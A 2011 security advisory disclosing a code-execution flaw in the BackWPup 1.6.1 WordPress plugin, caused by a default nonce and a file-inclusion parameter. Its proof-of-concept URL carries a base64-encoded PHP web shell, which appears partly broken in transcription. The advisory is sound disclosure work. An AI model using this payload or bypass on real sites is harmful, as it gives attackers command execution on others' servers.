Wordpress plugin BackWPup Remote and Local Code Execution Vulnerability - SOS-11-003

Type securityvulns
Reporter Securityvulns
Modified 2011-03-29T00:00:00


Sense of Security - Security Advisory - SOS-11-003

Release Date. 28-Mar-2011 Last Update. - Vendor Notification Date. 25-Mar-2011 Product. Wordpress Plugin BackWPup Platform. Independent Affected versions. 1.6.1 (verified), possibly others Severity Rating. High Impact. System Access Attack Vector. Remote without authentication Solution Status. Upgrade to version 1.7.1 CVE reference. Not yet assigned

Details. A vulnerability has been discovered in the Wordpress plugin BackWPup 1.6.1 which can be exploited to execute local or remote code on the web server. The Input passed to the component "wp_xml_export.php" via the "wpabs" variable allows the inclusion and execution of local or remote PHP files as long as a "_nonce" value is known. The "_nonce" value relies on a static constant which is not defined in the script meaning that it defaults to the value "822728c8d9".

Proof of Concept. wp_xml_export.php?_nonce=822728c8d9&wpabs=data://text/plain;base64,PGZ vcm0gYWN0aW9uPSI8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkknXT8%2bIiBtZX
ic3VibWl0IiB2YWx1ZT0iY21kIj48L2Zvcm0%2bPHByZT48PyAKZWNobyBgeyRfUE9TVF sneCddfWA7ID8%2bPC9wcmU%2bPD8gZGllKCk7ID8%2bCgo%3d

Solution. Upgrade to version 1.7.1

Discovered by. Phil Taylor - Sense of Security Labs.

Sense of Security Pty Ltd Level 8, 66 King St Sydney NSW 2000 AUSTRALIA T: +61 (0)2 9290 4444 F: +61 (0)2 9290 4455 W: http://www.senseofsecurity.com.au E: info@senseofsecurity.com.au Twitter: @ITsecurityAU

The latest version of this advisory can be found at: http://www.senseofsecurity.com.au/advisories/SOS-11-003.pdf

Other Sense of Security advisories can be found at: http://www.senseofsecurity.com.au/research/it-security-advisories.php